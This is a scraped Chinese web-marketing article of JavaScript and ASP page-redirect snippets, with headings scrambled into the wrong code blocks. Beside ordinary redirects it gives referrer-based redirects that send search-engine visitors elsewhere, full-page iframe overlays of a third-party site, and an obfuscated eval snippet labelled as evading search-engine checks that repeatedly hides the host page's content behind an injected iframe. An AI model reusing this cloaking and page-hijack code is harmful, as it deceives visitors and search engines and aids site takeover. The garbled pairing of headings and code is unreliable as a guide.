時間:2022-05-29 14:42:01 | 來源:網(wǎng)絡(luò)營銷
時間:2022-05-29 14:42:01 來源:網(wǎng)絡(luò)營銷
所謂的js頁面跳轉(zhuǎn)就是利用javesrcipt對打開的頁面ULR進行跳轉(zhuǎn),如我們打開的是A頁面,通過javsrcipt腳本就會跳轉(zhuǎn)到B頁面。<script type="text/javascript">2、在新窗體中打開頁面用:
window.location.href="你所要跳轉(zhuǎn)的頁面";
</script>
<script type="text/javascript">3、JS頁面跳轉(zhuǎn)參數(shù)的注解
window.open('你所要跳轉(zhuǎn)的頁面');
</script>
<SCRIPT LANGUAGE="javascript">參數(shù)解釋:
<!--
window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')
//寫成一行
-->
</SCRIPT>
<script language="javascript" type="text/javascript">第2種:
window.location.href="login.jsp?backurl="+window.location.href;
</script>
<script language="javascript">第3種:
alert("返回");
window.history.back(-1);
</script>
<script language="javascript">第4種:
window.navigate("top.jsp");
</script>
<script language="JavaScript">第5種:
self.location=’top.htm’;
</script>
<script language="javascript">三、頁面停留指定時間再跳轉(zhuǎn)(如3秒)
alert("非法訪問!");
top.location=’xx.jsp’;
</script>
<script type="text/javascript">四、根據(jù)訪客來源跳轉(zhuǎn)的JS代碼
function jumurl(){
window.location.href = 'http://www.mahaixiang.cn/';
}
setTimeout(jumurl,3000);
</script>
<script LANGUAGE="Javascript">2、JS直接跳轉(zhuǎn)代碼
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )
location.href="http://www.mahaixiang.cn/";
</script>
<script LANGUAGE="Javascript">3、ASP跳轉(zhuǎn)代碼判斷來路
location.href="http://www.mahaixiang.cn/";
</script>
<%4、ASP直接跳轉(zhuǎn)的
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then
response.redirect("http://www.mahaixiang.cn/")
end if
%>
<%五、廣告與網(wǎng)站頁面一起的JS代碼
response.redirect("http://www.mahaixiang.cn/")
%>
document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=http://www.mahaixiang.cn/></iframe>");2、全部覆蓋的代碼
document.write("</iframe><iframe src='http://www.mahaixiang.cn/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");3、混淆防止搜索引擎被查的js調(diào)用
var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"></iframe></center>';六、頁面跳出框架
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
try{
setInterval(function(){
try{
document.getElementById("div"+"All").style.display="no"+"ne";
}catch(e){}
for(var i=0;i<document.body.children.length;i++){
try{
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){
// if(tagname!="center"){
document.body.children[i].style.display="non"+"e";
//}
}
}catch(e){}
}
},100);
}catch(e){}
<script type="text/javascript">七、返回上一頁
top.location.href='http://www.mahaixiang.cn/';
</script>
<script type="text/javascript">億企邦點評:
window.history.back(-1);
</script>
關(guān)鍵詞:調(diào)用
微信公眾號
版權(quán)所有? 億企邦 1997-2022 保留一切法律許可權(quán)利。